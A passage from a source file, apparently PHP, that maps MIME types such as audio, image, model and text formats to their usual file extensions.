'application/x-javascript' => ['js', 'jsm', 'mjs'], 'application/x-jbuilder-project' => ['jpr', 'jpx'], 'application/x-karbon' => ['karbon'], 'application/x-kchart' => ['chrt'], 'application/x-keepass2' => ['kdbx'], 'application/x-kexi-connectiondata' => ['kexic'], 'application/x-kexiproject-shortcut' => ['kexis'], 'application/x-kexiproject-sqlite' => ['kexi'], 'application/x-kexiproject-sqlite2' => ['kexi'], 'application/x-kexiproject-sqlite3' => ['kexi'], 'application/x-kformula' => ['kfo'], 'application/x-killustrator' => ['kil'], 'application/x-kivio' => ['flw'], 'application/x-kontour' => ['kon'], 'application/x-kpovmodeler' => ['kpm'], 'application/x-kpresenter' => ['kpr', 'kpt'], 'application/x-krita' => ['kra', 'krz'], 'application/x-kspread' => ['ksp'], 'application/x-kugar' => ['kud'], 'application/x-kword' => ['kwd', 'kwt'], 'application/x-latex' => ['latex'], 'application/x-lha' => ['lha', 'lzh'], 'application/x-lhz' => ['lhz'], 'application/x-linguist' => ['ts'], 'application/x-lotus123' => ['123', 'wk1', 'wk3', 'wk4', 'wks'], 'application/x-lrzip' => ['lrz'], 'application/x-lrzip-compressed-tar' => ['tar.lrz', 'tlrz'], 'application/x-lua-bytecode' => ['luac'], 'application/x-lyx' => ['lyx'], 'application/x-lz4' => ['lz4'], 'application/x-lz4-compressed-tar' => ['tar.lz4'], 'application/x-lzh-compressed' => ['lzh', 'lha'], 'application/x-lzip' => ['lz'], 'application/x-lzip-compressed-tar' => ['tar.lz'], 'application/x-lzma' => ['lzma'], 'application/x-lzma-compressed-tar' => ['tar.lzma', 'tlz'], 'application/x-lzop' => ['lzo'], 'application/x-lzpdf' => ['pdf.lz'], 'application/x-m4' => ['m4'], 'application/x-magicpoint' => ['mgp'], 'application/x-makeself' => ['run'], 'application/x-mame-chd' => ['chd'], 'application/x-markaby' => ['mab'], 'application/x-mathematica' => ['nb'], 'application/x-mdb' => ['mdb'], 'application/x-mie' => ['mie'], 'application/x-mif' => ['mif'], 'application/x-mimearchive' => ['mhtml', 'mht'], 'application/x-mobi8-ebook' => ['azw3', 'kfx'], 'application/x-mobipocket-ebook' => ['prc', 'mobi'], 'application/x-ms-application' => ['application'], 'application/x-ms-asx' => ['asx', 'wax', 'wvx', 'wmx'], 'application/x-ms-dos-executable' => ['exe'], 'application/x-ms-shortcut' => ['lnk'], 'application/x-ms-wim' => ['wim', 'swm'], 'application/x-ms-wmd' => ['wmd'], 'application/x-ms-wmz' => ['wmz'], 'application/x-ms-xbap' => ['xbap'], 'application/x-msaccess' => ['mdb'], 'application/x-msbinder' => ['obd'], 'application/x-mscardfile' => ['crd'], 'application/x-msclip' => ['clp'], 'application/x-msdos-program' => ['exe'], 'application/x-msdownload' => ['exe', 'dll', 'com', 'bat', 'msi'], 'application/x-msexcel' => ['xls', 'xlc', 'xll', 'xlm', 'xlw', 'xla', 'xlt', 'xld'], 'application/x-msi' => ['msi'], 'application/x-msmediaview' => ['mvb', 'm13', 'm14'], 'application/x-msmetafile' => ['wmf', 'wmz', 'emf', 'emz'], 'application/x-msmoney' => ['mny'], 'application/x-mspowerpoint' => ['ppz', 'ppt', 'pps', 'pot'], 'application/x-mspublisher' => ['pub'], 'application/x-msschedule' => ['scd'], 'application/x-msterminal' => ['trm'], 'application/x-mswinurl' => ['url'], 'application/x-msword' => ['doc'], 'application/x-mswrite' => ['wri'], 'application/x-msx-rom' => ['msx'], 'application/x-n64-rom' => ['n64', 'z64', 'v64'], 'application/x-navi-animation' => ['ani'], 'application/x-neo-geo-pocket-color-rom' => ['ngc'], 'application/x-neo-geo-pocket-rom' => ['ngp'], 'application/x-nes-rom' => ['nes', 'nez', 'unf', 'unif'], 'application/x-netcdf' => ['nc', 'cdf'], 'application/x-netshow-channel' => ['nsc'], 'application/x-nintendo-3ds-executable' => ['3dsx'], 'application/x-nintendo-3ds-rom' => ['3ds', 'cci'], 'application/x-nintendo-ds-rom' => ['nds'], 'application/x-ns-proxy-autoconfig' => ['pac'], 'application/x-nzb' => ['nzb'], 'application/x-object' => ['o', 'mod'], 'application/x-ogg' => ['ogx'], 'application/x-oleo' => ['oleo'], 'application/x-pagemaker' => ['p65', 'pm', 'pm6', 'pmd'], 'application/x-pak' => ['pak'], 'application/x-palm-database' => ['prc', 'pdb', 'pqa', 'oprc'], 'application/x-par2' => ['PAR2', 'par2'], 'application/x-partial-download' => ['wkdownload', 'crdownload', 'part'], 'application/x-pc-engine-rom' => ['pce'], 'application/x-pcap' => ['pcap', 'cap', 'dmp'], 'application/x-pdf' => ['pdf'], 'application/x-perl' => ['pl', 'pm', 'PL', 'al', 'perl', 'pod', 't'], 'application/x-photoshop' => ['psd'], 'application/x-php' => ['php', 'php3', 'php4', 'php5', 'phps'], 'application/x-pilot' => ['prc', 'pdb'], 'application/x-pkcs12' => ['p12', 'pfx'], 'application/x-pkcs7-certificates' => ['p7b', 'spc'], 'application/x-pkcs7-certreqresp' => ['p7r'], 'application/x-planperfect' => ['pln'], 'application/x-pocket-word' => ['psw'], 'application/x-pw' => ['pw'], 'application/x-pyspread-bz-spreadsheet' => ['pys'], 'application/x-pyspread-spreadsheet' => ['pysu'], 'application/x-python-bytecode' => ['pyc', 'pyo'], 'application/x-qed-disk' => ['qed'], 'application/x-qemu-disk' => ['qcow2', 'qcow'], 'application/x-qpress' => ['qp'], 'application/x-qtiplot' => ['qti', 'qti.gz'], 'application/x-quattropro' => ['wb1', 'wb2', 'wb3'], 'application/x-quicktime-media-link' => ['qtl'], 'application/x-quicktimeplayer' => ['qtl'], 'application/x-qw' => ['qif'], 'application/x-rar' => ['rar'], 'application/x-rar-compressed' => ['rar'], 'application/x-raw-disk-image' => ['raw-disk-image', 'img'], 'application/x-raw-disk-image-xz-compressed' => ['raw-disk-image.xz', 'img.xz'], 'application/x-raw-floppy-disk-image' => ['fd', 'qd'], 'application/x-redhat-package-manager' => ['rpm'], 'application/x-reject' => ['rej'], 'application/x-research-info-systems' => ['ris'], 'application/x-rnc' => ['rnc'], 'application/x-rpm' => ['rpm'], 'application/x-ruby' => ['rb'], 'application/x-sami' => ['smi', 'sami'], 'application/x-sap-file' => ['sap'], 'application/x-saturn-rom' => ['iso'], 'application/x-sdp' => ['sdp'], 'application/x-sea' => ['sea'], 'application/x-sega-cd-rom' => ['iso'], 'application/x-sega-pico-rom' => ['iso'], 'application/x-sg1000-rom' => ['sg'], 'application/x-sh' => ['sh'], 'application/x-shar' => ['shar'], 'application/x-shared-library-la' => ['la'], 'application/x-sharedlib' => ['so'], 'application/x-shellscript' => ['sh'], 'application/x-shockwave-flash' => ['swf', 'spl'], 'application/x-shorten' => ['shn'], 'application/x-siag' => ['siag'], 'application/x-silverlight-app' => ['xap'], 'application/x-sit' => ['sit'], 'application/x-smaf' => ['mmf', 'smaf'], 'application/x-sms-rom' => ['sms'], 'application/x-snes-rom' => ['sfc', 'smc'], 'application/x-source-rpm' => ['src.rpm', 'spm'], 'application/x-spss-por' => ['por'], 'application/x-spss-sav' => ['sav', 'zsav'], 'application/x-spss-savefile' => ['sav', 'zsav'], 'application/x-sql' => ['sql'], 'application/x-sqlite2' => ['sqlite2'], 'application/x-sqlite3' => ['sqlite3'], 'application/x-srt' => ['srt'], 'application/x-stuffit' => ['sit'], 'application/x-stuffitx' => ['sitx'], 'application/x-subrip' => ['srt'], 'application/x-sv4cpio' => ['sv4cpio'], 'application/x-sv4crc' => ['sv4crc'], 'application/x-t3vm-image' => ['t3'], 'application/x-t602' => ['602'], 'application/x-tads' => ['gam'], 'application/x-tar' => ['tar', 'gtar', 'gem'], 'application/x-targa' => ['tga', 'icb', 'tpic', 'vda', 'vst'], 'application/x-tarz' => ['tar.Z', 'taz'], 'application/x-tcl' => ['tcl', 'tk'], 'application/x-tex' => ['tex', 'ltx', 'sty', 'cls', 'dtx', 'ins', 'latex'], 'application/x-tex-gf' => ['gf'], 'application/x-tex-pk' => ['pk'], 'application/x-tex-tfm' => ['tfm'], 'application/x-texinfo' => ['texinfo', 'texi'], 'application/x-tga' => ['tga', 'icb', 'tpic', 'vda', 'vst'], 'application/x-tgif' => ['obj'], 'application/x-theme' => ['theme'], 'application/x-thomson-cartridge-memo7' => ['m7'], 'application/x-thomson-cassette' => ['k7'], 'application/x-thomson-sap-image' => ['sap'], 'application/x-trash' => ['bak', 'old', 'sik'], 'application/x-trig' => ['trig'], 'application/x-troff' => ['tr', 'roff', 't'], 'application/x-troff-man' => ['man'], 'application/x-tzo' => ['tar.lzo', 'tzo'], 'application/x-ufraw' => ['ufraw'], 'application/x-ustar' => ['ustar'], 'application/x-vdi-disk' => ['vdi'], 'application/x-vhd-disk' => ['vhd', 'vpc'], 'application/x-vhdx-disk' => ['vhdx'], 'application/x-virtual-boy-rom' => ['vb'], 'application/x-virtualbox-hdd' => ['hdd'], 'application/x-virtualbox-ova' => ['ova'], 'application/x-virtualbox-ovf' => ['ovf'], 'application/x-virtualbox-vbox' => ['vbox'], 'application/x-virtualbox-vbox-extpack' => ['vbox-extpack'], 'application/x-virtualbox-vdi' => ['vdi'], 'application/x-virtualbox-vhd' => ['vhd', 'vpc'], 'application/x-virtualbox-vhdx' => ['vhdx'], 'application/x-virtualbox-vmdk' => ['vmdk'], 'application/x-vmdk-disk' => ['vmdk'], 'application/x-vnd.kde.kexi' => ['kexi'], 'application/x-wais-source' => ['src'], 'application/x-wbfs' => ['iso'], 'application/x-web-app-manifest+json' => ['webapp'], 'application/x-wia' => ['iso'], 'application/x-wii-iso-image' => ['iso'], 'application/x-wii-rom' => ['iso'], 'application/x-wii-wad' => ['wad'], 'application/x-windows-themepack' => ['themepack'], 'application/x-wmf' => ['wmf'], 'application/x-wonderswan-color-rom' => ['wsc'], 'application/x-wonderswan-rom' => ['ws'], 'application/x-wordperfect' => ['wp', 'wp4', 'wp5', 'wp6', 'wpd', 'wpp'], 'application/x-wpg' => ['wpg'], 'application/x-wwf' => ['wwf'], 'application/x-x509-ca-cert' => ['der', 'crt', 'pem', 'cert'], 'application/x-xar' => ['xar', 'pkg'], 'application/x-xbel' => ['xbel'], 'application/x-xfig' => ['fig'], 'application/x-xliff' => ['xlf', 'xliff'], 'application/x-xliff+xml' => ['xlf'], 'application/x-xpinstall' => ['xpi'], 'application/x-xspf+xml' => ['xspf'], 'application/x-xz' => ['xz'], 'application/x-xz-compressed-tar' => ['tar.xz', 'txz'], 'application/x-xzpdf' => ['pdf.xz'], 'application/x-yaml' => ['yaml', 'yml'], 'application/x-zip' => ['zip'], 'application/x-zip-compressed' => ['zip'], 'application/x-zip-compressed-fb2' => ['fb2.zip'], 'application/x-zmachine' => ['z1', 'z2', 'z3', 'z4', 'z5', 'z6', 'z7', 'z8'], 'application/x-zoo' => ['zoo'], 'application/x-zstd-compressed-tar' => ['tar.zst', 'tzst'], 'application/xaml+xml' => ['xaml'], 'application/xcap-att+xml' => ['xav'], 'application/xcap-caps+xml' => ['xca'], 'application/xcap-diff+xml' => ['xdf'], 'application/xcap-el+xml' => ['xel'], 'application/xcap-error+xml' => ['xer'], 'application/xcap-ns+xml' => ['xns'], 'application/xenc+xml' => ['xenc'], 'application/xhtml+xml' => ['xhtml', 'xht', 'html', 'htm'], 'application/xliff+xml' => ['xlf', 'xliff'], 'application/xml' => ['xml', 'xsl', 'xsd', 'rng', 'xbl'], 'application/xml-dtd' => ['dtd'], 'application/xml-external-parsed-entity' => ['ent'], 'application/xop+xml' => ['xop'], 'application/xproc+xml' => ['xpl'], 'application/xps' => ['xps'], 'application/xslt+xml' => ['xsl', 'xslt'], 'application/xspf+xml' => ['xspf'], 'application/xv+xml' => ['mxml', 'xhvml', 'xvml', 'xvm'], 'application/yang' => ['yang'], 'application/yin+xml' => ['yin'], 'application/zip' => ['zip'], 'application/zlib' => ['zz'], 'application/zstd' => ['zst'], 'audio/3gpp' => ['3gpp', '3gp', '3ga'], 'audio/3gpp-encrypted' => ['3gp', '3gpp', '3ga'], 'audio/3gpp2' => ['3g2', '3gp2', '3gpp2'], 'audio/aac' => ['aac', 'adts', 'ass'], 'audio/ac3' => ['ac3'], 'audio/adpcm' => ['adp'], 'audio/amr' => ['amr'], 'audio/amr-encrypted' => ['amr'], 'audio/amr-wb' => ['awb'], 'audio/amr-wb-encrypted' => ['awb'], 'audio/annodex' => ['axa'], 'audio/basic' => ['au', 'snd'], 'audio/flac' => ['flac'], 'audio/imelody' => ['imy', 'ime'], 'audio/m3u' => ['m3u', 'm3u8', 'vlc'], 'audio/m4a' => ['m4a', 'f4a'], 'audio/midi' => ['mid', 'midi', 'kar', 'rmi'], 'audio/mobile-xmf' => ['mxmf', 'xmf'], 'audio/mp2' => ['mp2'], 'audio/mp3' => ['mp3', 'mpga'], 'audio/mp4' => ['m4a', 'mp4a', 'f4a'], 'audio/mpeg' => ['mp3', 'mpga', 'mp2', 'mp2a', 'm2a', 'm3a'], 'audio/mpegurl' => ['m3u', 'm3u8', 'vlc'], 'audio/ogg' => ['ogg', 'oga', 'spx', 'opus'], 'audio/prs.sid' => ['sid', 'psid'], 'audio/s3m' => ['s3m'], 'audio/scpls' => ['pls'], 'audio/silk' => ['sil'], 'audio/tta' => ['tta'], 'audio/usac' => ['loas', 'xhe'], 'audio/vnd.audible' => ['aa', 'aax'], 'audio/vnd.audible.aax' => ['aax'], 'audio/vnd.dece.audio' => ['uva', 'uvva'], 'audio/vnd.digital-winds' => ['eol'], 'audio/vnd.dra' => ['dra'], 'audio/vnd.dts' => ['dts'], 'audio/vnd.dts.hd' => ['dtshd'], 'audio/vnd.lucent.voice' => ['lvp'], 'audio/vnd.m-realaudio' => ['ra', 'rax'], 'audio/vnd.ms-playready.media.pya' => ['pya'], 'audio/vnd.nuera.ecelp4800' => ['ecelp4800'], 'audio/vnd.nuera.ecelp7470' => ['ecelp7470'], 'audio/vnd.nuera.ecelp9600' => ['ecelp9600'], 'audio/vnd.rip' => ['rip'], 'audio/vnd.rn-realaudio' => ['ra', 'rax'], 'audio/vnd.wave' => ['wav'], 'audio/vorbis' => ['oga', 'ogg'], 'audio/wav' => ['wav'], 'audio/wave' => ['wav'], 'audio/webm' => ['weba'], 'audio/wma' => ['wma'], 'audio/x-aac' => ['aac', 'adts', 'ass'], 'audio/x-aifc' => ['aifc', 'aiffc'], 'audio/x-aiff' => ['aif', 'aiff', 'aifc'], 'audio/x-aiffc' => ['aifc', 'aiffc'], 'audio/x-amzxml' => ['amz'], 'audio/x-annodex' => ['axa'], 'audio/x-ape' => ['ape'], 'audio/x-caf' => ['caf'], 'audio/x-dts' => ['dts'], 'audio/x-dtshd' => ['dtshd'], 'audio/x-flac' => ['flac'], 'audio/x-flac+ogg' => ['oga', 'ogg'], 'audio/x-gsm' => ['gsm'], 'audio/x-hx-aac-adts' => ['aac', 'adts', 'ass'], 'audio/x-imelody' => ['imy', 'ime'], 'audio/x-iriver-pla' => ['pla'], 'audio/x-it' => ['it'], 'audio/x-m3u' => ['m3u', 'm3u8', 'vlc'], 'audio/x-m4a' => ['m4a', 'f4a'], 'audio/x-m4b' => ['m4b', 'f4b'], 'audio/x-m4r' => ['m4r'], 'audio/x-matroska' => ['mka'], 'audio/x-midi' => ['mid', 'midi', 'kar'], 'audio/x-minipsf' => ['minipsf'], 'audio/x-mo3' => ['mo3'], 'audio/x-mod' => ['mod', 'ult', 'uni', 'm15', 'mtm', '669', 'med'], 'audio/x-mp2' => ['mp2'], 'audio/x-mp3' => ['mp3', 'mpga'], 'audio/x-mp3-playlist' => ['m3u', 'm3u8', 'vlc'], 'audio/x-mpeg' => ['mp3', 'mpga'], 'audio/x-mpegurl' => ['m3u', 'm3u8', 'vlc'], 'audio/x-mpg' => ['mp3', 'mpga'], 'audio/x-ms-asx' => ['asx', 'wax', 'wvx', 'wmx'], 'audio/x-ms-wax' => ['wax'], 'audio/x-ms-wma' => ['wma'], 'audio/x-ms-wmv' => ['wmv'], 'audio/x-musepack' => ['mpc', 'mpp', 'mp+'], 'audio/x-ogg' => ['oga', 'ogg', 'opus'], 'audio/x-oggflac' => ['oga', 'ogg'], 'audio/x-opus+ogg' => ['opus'], 'audio/x-pn-audibleaudio' => ['aa', 'aax'], 'audio/x-pn-realaudio' => ['ram', 'ra', 'rax'], 'audio/x-pn-realaudio-plugin' => ['rmp'], 'audio/x-psf' => ['psf'], 'audio/x-psflib' => ['psflib'], 'audio/x-realaudio' => ['ra'], 'audio/x-rn-3gpp-amr' => ['3gp', '3gpp', '3ga'], 'audio/x-rn-3gpp-amr-encrypted' => ['3gp', '3gpp', '3ga'], 'audio/x-rn-3gpp-amr-wb' => ['3gp', '3gpp', '3ga'], 'audio/x-rn-3gpp-amr-wb-encrypted' => ['3gp', '3gpp', '3ga'], 'audio/x-s3m' => ['s3m'], 'audio/x-scpls' => ['pls'], 'audio/x-shorten' => ['shn'], 'audio/x-speex' => ['spx'], 'audio/x-speex+ogg' => ['oga', 'ogg', 'spx'], 'audio/x-stm' => ['stm'], 'audio/x-tta' => ['tta'], 'audio/x-voc' => ['voc'], 'audio/x-vorbis' => ['oga', 'ogg'], 'audio/x-vorbis+ogg' => ['oga', 'ogg'], 'audio/x-wav' => ['wav'], 'audio/x-wavpack' => ['wv', 'wvp'], 'audio/x-wavpack-correction' => ['wvc'], 'audio/x-xi' => ['xi'], 'audio/x-xm' => ['xm'], 'audio/x-xmf' => ['xmf'], 'audio/xm' => ['xm'], 'audio/xmf' => ['xmf'], 'chemical/x-cdx' => ['cdx'], 'chemical/x-cif' => ['cif'], 'chemical/x-cmdf' => ['cmdf'], 'chemical/x-cml' => ['cml'], 'chemical/x-csml' => ['csml'], 'chemical/x-xyz' => ['xyz'], 'flv-application/octet-stream' => ['flv'], 'font/collection' => ['ttc'], 'font/otf' => ['otf'], 'font/ttf' => ['ttf'], 'font/woff' => ['woff'], 'font/woff2' => ['woff2'], 'image/aces' => ['exr'], 'image/apng' => ['apng'], 'image/astc' => ['astc'], 'image/avif' => ['avif', 'avifs'], 'image/avif-sequence' => ['avif', 'avifs'], 'image/bmp' => ['bmp', 'dib'], 'image/cdr' => ['cdr'], 'image/cgm' => ['cgm'], 'image/dicom-rle' => ['drle'], 'image/emf' => ['emf'], 'image/fax-g3' => ['g3'], 'image/fits' => ['fits'], 'image/g3fax' => ['g3'], 'image/gif' => ['gif'], 'image/heic' => ['heic', 'heif'], 'image/heic-sequence' => ['heics', 'heic', 'heif'], 'image/heif' => ['heif', 'heic'], 'image/heif-sequence' => ['heifs', 'heic', 'heif'], 'image/hej2k' => ['hej2'], 'image/hsj2' => ['hsj2'], 'image/ico' => ['ico'], 'image/icon' => ['ico'], 'image/ief' => ['ief'], 'image/jls' => ['jls'], 'image/jp2' => ['jp2', 'jpg2'], 'image/jpeg' => ['jpg', 'jpeg', 'jpe'], 'image/jpeg2000' => ['jp2', 'jpg2'], 'image/jpeg2000-image' => ['jp2', 'jpg2'], 'image/jph' => ['jph'], 'image/jphc' => ['jhc'], 'image/jpm' => ['jpm', 'jpgm'], 'image/jpx' => ['jpx', 'jpf'], 'image/jxl' => ['jxl'], 'image/jxr' => ['jxr'], 'image/jxra' => ['jxra'], 'image/jxrs' => ['jxrs'], 'image/jxs' => ['jxs'], 'image/jxsc' => ['jxsc'], 'image/jxsi' => ['jxsi'], 'image/jxss' => ['jxss'], 'image/ktx' => ['ktx'], 'image/ktx2' => ['ktx2'], 'image/openraster' => ['ora'], 'image/pdf' => ['pdf'], 'image/photoshop' => ['psd'], 'image/pjpeg' => ['jpg', 'jpeg', 'jpe'], 'image/png' => ['png'], 'image/prs.btif' => ['btif'], 'image/prs.pti' => ['pti'], 'image/psd' => ['psd'], 'image/rle' => ['rle'], 'image/sgi' => ['sgi'], 'image/svg' => ['svg'], 'image/svg+xml' => ['svg', 'svgz'], 'image/svg+xml-compressed' => ['svgz'], 'image/t38' => ['t38'], 'image/targa' => ['tga', 'icb', 'tpic', 'vda', 'vst'], 'image/tga' => ['tga', 'icb', 'tpic', 'vda', 'vst'], 'image/tiff' => ['tif', 'tiff'], 'image/tiff-fx' => ['tfx'], 'image/vnd.adobe.photoshop' => ['psd'], 'image/vnd.airzip.accelerator.azv' => ['azv'], 'image/vnd.dece.graphic' => ['uvi', 'uvvi', 'uvg', 'uvvg'], 'image/vnd.djvu' => ['djvu', 'djv'], 'image/vnd.djvu+multipage' => ['djvu', 'djv'], 'image/vnd.dvb.subtitle' => ['sub'], 'image/vnd.dwg' => ['dwg'], 'image/vnd.dxf' => ['dxf'], 'image/vnd.fastbidsheet' => ['fbs'], 'image/vnd.fpx' => ['fpx'], 'image/vnd.fst' => ['fst'], 'image/vnd.fujixerox.edmics-mmr' => ['mmr'], 'image/vnd.fujixerox.edmics-rlc' => ['rlc'], 'image/vnd.microsoft.icon' => ['ico'], 'image/vnd.ms-dds' => ['dds'], 'image/vnd.ms-modi' => ['mdi'], 'image/vnd.ms-photo' => ['wdp'], 'image/vnd.net-fpx' => ['npx'], 'image/vnd.pco.b16' => ['b16'], 'image/vnd.rn-realpix' => ['rp'], 'image/vnd.tencent.tap' => ['tap'], 'image/vnd.valve.source.texture' => ['vtf'], 'image/vnd.wap.wbmp' => ['wbmp'], 'image/vnd.xiff' => ['xif'], 'image/vnd.zbrush.pcx' => ['pcx'], 'image/webp' => ['webp'], 'image/wmf' => ['wmf'], 'image/x-3ds' => ['3ds'], 'image/x-adobe-dng' => ['dng'], 'image/x-applix-graphics' => ['ag'], 'image/x-bmp' => ['bmp', 'dib'], 'image/x-bzeps' => ['eps.bz2', 'epsi.bz2', 'epsf.bz2'], 'image/x-canon-cr2' => ['cr2'], 'image/x-canon-cr3' => ['cr3'], 'image/x-canon-crw' => ['crw'], 'image/x-cdr' => ['cdr'], 'image/x-cmu-raster' => ['ras'], 'image/x-cmx' => ['cmx'], 'image/x-compressed-xcf' => ['xcf.gz', 'xcf.bz2'], 'image/x-dds' => ['dds'], 'image/x-djvu' => ['djvu', 'djv'], 'image/x-emf' => ['emf'], 'image/x-eps' => ['eps', 'epsi', 'epsf'], 'image/x-exr' => ['exr'], 'image/x-fits' => ['fits'], 'image/x-freehand' => ['fh', 'fhc', 'fh4', 'fh5', 'fh7'], 'image/x-fuji-raf' => ['raf'], 'image/x-gimp-gbr' => ['gbr'], 'image/x-gimp-gih' => ['gih'], 'image/x-gimp-pat' => ['pat'], 'image/x-gzeps' => ['eps.gz', 'epsi.gz', 'epsf.gz'], 'image/x-icb' => ['tga', 'icb', 'tpic', 'vda', 'vst'], 'image/x-icns' => ['icns'], 'image/x-ico' => ['ico'], 'image/x-icon' => ['ico'], 'image/x-iff' => ['iff', 'ilbm', 'lbm'], 'image/x-ilbm' => ['iff', 'ilbm', 'lbm'], 'image/x-jng' => ['jng'], 'image/x-jp2-codestream' => ['j2c', 'j2k', 'jpc'], 'image/x-jpeg2000-image' => ['jp2', 'jpg2'], 'image/x-kodak-dcr' => ['dcr'], 'image/x-kodak-k25' => ['k25'], 'image/x-kodak-kdc' => ['kdc'], 'image/x-lwo' => ['lwo', 'lwob'], 'image/x-lws' => ['lws'], 'image/x-macpaint' => ['pntg'], 'image/x-minolta-mrw' => ['mrw'], 'image/x-mrsid-image' => ['sid'], 'image/x-ms-bmp' => ['bmp', 'dib'], 'image/x-msod' => ['msod'], 'image/x-nikon-nef' => ['nef'], 'image/x-nikon-nrw' => ['nrw'], 'image/x-olympus-orf' => ['orf'], 'image/x-panasonic-raw' => ['raw'], 'image/x-panasonic-raw2' => ['rw2'], 'image/x-panasonic-rw' => ['raw'], 'image/x-panasonic-rw2' => ['rw2'], 'image/x-pcx' => ['pcx'], 'image/x-pentax-pef' => ['pef'], 'image/x-photo-cd' => ['pcd'], 'image/x-photoshop' => ['psd'], 'image/x-pict' => ['pic', 'pct', 'pict', 'pict1', 'pict2'], 'image/x-portable-anymap' => ['pnm'], 'image/x-portable-bitmap' => ['pbm'], 'image/x-portable-graymap' => ['pgm'], 'image/x-portable-pixmap' => ['ppm'], 'image/x-psd' => ['psd'], 'image/x-quicktime' => ['qtif', 'qif'], 'image/x-rgb' => ['rgb'], 'image/x-sgi' => ['sgi'], 'image/x-sigma-x3f' => ['x3f'], 'image/x-skencil' => ['sk', 'sk1'], 'image/x-sony-arw' => ['arw'], 'image/x-sony-sr2' => ['sr2'], 'image/x-sony-srf' => ['srf'], 'image/x-sun-raster' => ['sun'], 'image/x-targa' => ['tga', 'icb', 'tpic', 'vda', 'vst'], 'image/x-tga' => ['tga', 'icb', 'tpic', 'vda', 'vst'], 'image/x-win-bitmap' => ['cur'], 'image/x-win-metafile' => ['wmf'], 'image/x-wmf' => ['wmf'], 'image/x-xbitmap' => ['xbm'], 'image/x-xcf' => ['xcf'], 'image/x-xfig' => ['fig'], 'image/x-xpixmap' => ['xpm'], 'image/x-xpm' => ['xpm'], 'image/x-xwindowdump' => ['xwd'], 'image/x.djvu' => ['djvu', 'djv'], 'message/disposition-notification' => ['disposition-notification'], 'message/global' => ['u8msg'], 'message/global-delivery-status' => ['u8dsn'], 'message/global-disposition-notification' => ['u8mdn'], 'message/global-headers' => ['u8hdr'], 'message/rfc822' => ['eml', 'mime'], 'message/vnd.wfa.wsc' => ['wsc'], 'model/3mf' => ['3mf'], 'model/gltf+json' => ['gltf'], 'model/gltf-binary' => ['glb'], 'model/iges' => ['igs', 'iges'], 'model/mesh' => ['msh', 'mesh', 'silo'], 'model/mtl' => ['mtl'], 'model/obj' => ['obj'], 'model/step+zip' => ['stpz'], 'model/step-xml+zip' => ['stpxz'], 'model/stl' => ['stl'], 'model/vnd.collada+xml' => ['dae'], 'model/vnd.dwf' => ['dwf'], 'model/vnd.gdl' => ['gdl'], 'model/vnd.gtw' => ['gtw'], 'model/vnd.mts' => ['mts'], 'model/vnd.opengex' => ['ogex'], 'model/vnd.parasolid.transmit.binary' => ['x_b'], 'model/vnd.parasolid.transmit.text' => ['x_t'], 'model/vnd.sap.vds' => ['vds'], 'model/vnd.usdz+zip' => ['usdz'], 'model/vnd.valve.source.compiled-map' => ['bsp'], 'model/vnd.vtu' => ['vtu'], 'model/vrml' => ['wrl', 'vrml', 'vrm'], 'model/x.stl-ascii' => ['stl'], 'model/x.stl-binary' => ['stl'], 'model/x3d+binary' => ['x3db', 'x3dbz'], 'model/x3d+fastinfoset' => ['x3db'], 'model/x3d+vrml' => ['x3dv', 'x3dvz'], 'model/x3d+xml' => ['x3d', 'x3dz'], 'model/x3d-vrml' => ['x3dv'], 'text/cache-manifest' => ['appcache', 'manifest'], 'text/calendar' => ['ics', 'ifb', 'vcs'], 'text/coffeescript' => ['coffee', 'litcoffee'], 'text/crystal' => ['cr'], 'text/css' => ['css'], 'text/csv' => ['csv'], 'text/csv-schema' => ['csvs'], 'text/directory' => ['vcard', 'vcf', 'vct', 'gcrd'], 'text/ecmascript' => ['es'], 'text/gedcom' => ['ged', 'gedcom'], 'text/google-video-pointer' => ['gvp'], 'text/html' => ['html', 'htm', 'shtml'], 'text/ico' => ['ico'], 'text/jade' => ['jade'], 'text/javascript' => ['js', 'jsm', 'mjs'], 'text/jsx' => ['jsx'], 'text/less' => ['less'], 'text/markdown' => ['md', 'markdown', 'mkd'], 'text/mathml' => ['mml'], 'text/mdx' => ['mdx'], 'text/n3' => ['n3'], 'text/org' => ['org'], 'text/plain' => ['txt', 'text', 'conf', 'def', 'list', 'log', 'in', 'ini', 'asc'], 'text/prs.lines.tag' => ['dsc'], 'text/rdf' => ['rdf', 'rdfs', 'owl'], 'text/richtext' => ['rtx'], 'text/rss' => ['rss'], 'text/rtf' => ['rtf'], 'text/rust' => ['rs'], 'text/sgml' => ['sgml', 'sgm'], 'text/shex' => ['shex'], 'text/slim' => ['slim', 'slm'], 'text/spdx' => ['spdx'], 'text/spreadsheet' => ['sylk', 'slk'], 'text/stylus' => ['stylus', 'styl'], 'text/tab-separated-values' => ['tsv'], 'text/tcl' => ['tcl', 'tk'], 'text/troff' => ['t', 'tr', 'roff', 'man', 'me', 'ms'], 'text/turtle' => ['ttl'], 'text/uri-list' => ['uri', 'uris', 'urls'], 'text/vbs' => ['vbs'], 'text/vbscript' => ['vbs'], 'text/vcard' => ['vcard', 'vcf', 'vct', 'gcrd'], 'text/vnd.curl' => ['curl'], 'text/vnd.curl.dcurl' => ['dcurl'], 'text/vnd.curl.mcurl' => ['mcurl'], 'text/vnd.curl.scurl' => ['scurl'], 'text/vnd.dvb.subtitle' => ['sub'], 'text/vnd.fly' => ['fly'], 'text/vnd.fmi.flexstor' => ['flx'], 'text/vnd.graphviz' => ['gv', 'dot'], 'text/vnd.in3d.3dml' => ['3dml'], 'text/vnd.in3d.spot' => ['spot'], 'text/vnd.qt.linguist' => ['ts'], 'text/vnd.rn-realtext' => ['rt'], 'text/vnd.senx.warpscript' => ['mc2'], 'text/vnd.sun.j2me.app-descriptor' => ['jad'], 'text/vnd.trolltech.linguist' => ['ts'], 'text/vnd.wap.wml' => ['wml'], 'text/vnd.wap.wmlscript' => ['wmls'], 'text/vtt' => ['vtt'], 'text/x-adasrc' => ['adb', 'ads'], 'text/x-asm' => ['s', 'asm'], 'text/x-bibtex' => ['bib'], 'text/x-c' => ['c', 'cc', 'cxx', 'cpp', 'h', 'hh', 'dic'], 'text/x-c++hdr' => ['hh', 'hp', 'hpp', 'h++', 'hxx'], 'text/x-c++src' => ['cpp', 'cxx', 'cc', 'C', 'c++'], 'text/x-chdr' => ['h'], 'text/x-cmake' => ['cmake'], 'text/x-cobol' => ['cbl', 'cob'], 'text/x-comma-separated-values' => ['csv'], 'text/x-common-lisp' => ['asd', 'fasl', 'lisp', 'ros'], 'text/x-component' => ['htc'], 'text/x-crystal' => ['cr'], 'text/x-csharp' => ['cs'], 'text/x-csrc' => ['c'], 'text/x-csv' => ['csv'], 